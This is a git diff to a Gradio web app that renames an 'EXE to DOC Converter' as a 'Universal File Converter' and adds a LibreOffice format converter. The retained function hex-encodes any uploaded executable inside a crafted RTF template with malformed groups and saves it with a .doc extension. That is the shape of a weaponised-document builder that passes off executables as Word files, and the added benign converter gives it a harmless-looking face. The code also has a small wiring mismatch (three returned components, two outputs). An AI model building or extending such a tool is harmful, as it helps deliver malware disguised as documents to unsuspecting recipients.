Update app.py

app.py

@@ -1,16 +1,57 @@
 import gradio as gr
 import binascii
 import os
-from typing import Tuple  # Added this import to fix the error
+import subprocess
+import tempfile
 from pathlib import Path
+from typing import Dict, Optional, Tuple
 
+# ========================
+# Document Converter (from GitHub repo)
+# ========================
+class DocumentConverter:
+    def __init__(self):
+        self.temp_dir = tempfile.mkdtemp()
+        self.supported_conversions = {
+            "pdf": ["docx", "txt", "html"],
+            "docx": ["pdf", "txt", "html"],
+            "txt": ["pdf", "docx", "html"],
+            "html": ["pdf", "docx", "txt"]
+        }
+
+    def convert_document(self, input_path: str, output_format: str) -> Optional[str]:
+        """Handle document conversion using LibreOffice"""
+        try:
+            input_file = Path(input_path)
+            if not input_file.exists():
+                raise ValueError("Input file does not exist")
+                
+            output_path = os.path.join(self.temp_dir, f"{input_file.stem}_converted.{output_format}")
+            
+            # Determine conversion tool based on file types
+            cmd = [
+                "libreoffice", 
+                "--headless", 
+                "--convert-to", output_format, 
+                "--outdir", os.path.dirname(output_path),
+                input_path
+            ]
+            
+            subprocess.run(cmd, check=True)
+            return output_path
+        except subprocess.CalledProcessError as e:
+            raise RuntimeError(f"LibreOffice conversion failed: {str(e)}")
+        except Exception as e:
+            raise RuntimeError(f"Conversion error: {str(e)}")
+
+# ========================
+# EXE to DOC Converter (your existing code)
+# ========================
 def convert_exe_to_doc(input_file_path: str, filename: str = "output.doc") -> str:
-    """Convert EXE file to DOC file with embedded data."""
-    # Read the binary content of the input file
+    """Convert EXE file to DOC file with embedded data"""
     with open(input_file_path, 'rb') as f:
         file_content = f.read()
     
-    # RTF template with placeholders for the binary data
     file = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}{\\f1\\fswiss\\fprq2\\fcharset0 Berlin Sans FB Demi;}{\\f2\\fnil\\fcharset2 Symbol;}}{/*/*/*}"
     file += "\x0d\x0a"
     file += "{\\colortbl ;\\red128\\green128\\blue0;}"
@@ -19,63 +60,122 @@ def convert_exe_to_doc(input_file_path: str, filename: str = "output.doc") -> st
     URL2 = "00"
     nxt = "{}}}}}}"
 
-    # Convert the file content to hex
     binnu = binascii.b2a_hex(file_content).decode()
     
-    # Create the output directory if it doesn't exist
     output_dir = "outputs"
     os.makedirs(output_dir, exist_ok=True)
     
-    # Generate full output path
     if not filename.endswith('.doc'):
         filename += '.doc'
     output_path = os.path.join(output_dir, filename)
     
-    # Write the file
     with open(output_path, 'w', encoding='latin-1') as textfile:
         textfile.write(file + binnu + URL2 + nxt)
     
     return output_path
 
-def process_conversion(input_file: gr.File, filename: str) -> Tuple[str, str]:
-    """Handle the conversion process with error handling."""
+# ========================
+# Unified Interface
+# ========================
+def get_conversion_type(input_file: Dict) -> str:
+    """Determine which converter to use based on file type"""
+    if input_file is None:
+        return "none"
+    
+    filename = input_file.name.lower()
+    if filename.endswith('.exe'):
+        return "exe_to_doc"
+    else:
+        return "document"
+
+def update_interface(input_file: Dict) -> Dict:
+    """Update the UI based on selected file"""
+    conv_type = get_conversion_type(input_file)
+    
+    if conv_type == "exe_to_doc":
+        return [
+            gr.Textbox(visible=False),  # output_format
+            gr.Textbox(visible=True),   # custom_filename
+            gr.Dropdown(visible=False)  # doc_format_dropdown
+        ]
+    elif conv_type == "document":
+        input_ext = Path(input_file.name).suffix.lower()[1:]
+        formats = DocumentConverter().supported_conversions.get(input_ext, [])
+        return [
+            gr.Dropdown(visible=True, choices=formats, value=formats[0] if formats else None),
+            gr.Textbox(visible=False),
+            gr.Dropdown(visible=False)
+        ]
+    else:
+        return [
+            gr.Textbox(visible=False),
+            gr.Textbox(visible=False),
+            gr.Dropdown(visible=False)
+        ]
+
+def process_conversion(input_file: Dict, output_format: str, custom_filename: str) -> Tuple[str, str]:
+    """Handle the conversion process"""
     if input_file is None:
         raise gr.Error("Please upload a file first")
     
-    if not filename:
-        filename = Path(input_file.name).stem + ".doc"
+    conv_type = get_conversion_type(input_file)
     
     try:
-        output_path = convert_exe_to_doc(input_file.name, filename)
-        return output_path, "Conversion successful!"
+        if conv_type == "exe_to_doc":
+            if not custom_filename:
+                custom_filename = "converted.doc"
+            output_path = convert_exe_to_doc(input_file.name, custom_filename)
+            return output_path, "EXE to DOC conversion successful!"
+        
+        elif conv_type == "document":
+            if not output_format:
+                raise gr.Error("Please select an output format")
+            converter = DocumentConverter()
+            output_path = converter.convert_document(input_file.name, output_format)
+            return output_path, f"Document conversion to {output_format.upper()} successful!"
+        
+        else:
+            raise gr.Error("Unsupported file type")
     except Exception as e:
         raise gr.Error(f"Conversion failed: {str(e)}")
 
-with gr.Blocks(title="EXE to DOC Converter") as demo:
-    gr.Markdown("# EXE to DOC Converter")
-    gr.Markdown("Upload an EXE file to convert it to a DOC file with embedded data.")
+with gr.Blocks(title="Universal File Converter") as demo:
+    gr.Markdown("# Universal File Converter")
+    gr.Markdown("Convert EXE to DOC or between document formats (PDF, DOCX, TXT, HTML)")
     
     with gr.Row():
         with gr.Column():
-            file_input = gr.File(
-                label="Upload EXE File",
-                type="filepath"  # This gives us the file path directly
+            file_input = gr.File(label="Upload File")
+            
+            # Dynamic components
+            output_format = gr.Dropdown(
+                label="Output Format",
+                choices=[],
+                visible=False
             )
-            filename = gr.Textbox(
-                label="Output Filename (optional)",
+            custom_filename = gr.Textbox(
+                label="Output Filename (for EXE to DOC)",
                 placeholder="output.doc",
-                lines=1
+                visible=False
             )
+            
             convert_btn = gr.Button("Convert", variant="primary")
         
         with gr.Column():
-            file_output = gr.File(label="Download Converted DOC File")
+            file_output = gr.File(label="Download Converted File")
             status_output = gr.Textbox(label="Status", interactive=False)
     
-    # Handle conversion when button is clicked
+    # Update interface when file is uploaded
+    file_input.change(
+        fn=update_interface,
+        inputs=file_input,
+        outputs=[output_format, custom_filename]
+    )
+    
+    # Handle conversion
     convert_btn.click(
         fn=process_conversion,
-        inputs=[file_input, filename],
+        inputs=[file_input, output_format, custom_filename],
         outputs=[file_output, status_output]
     )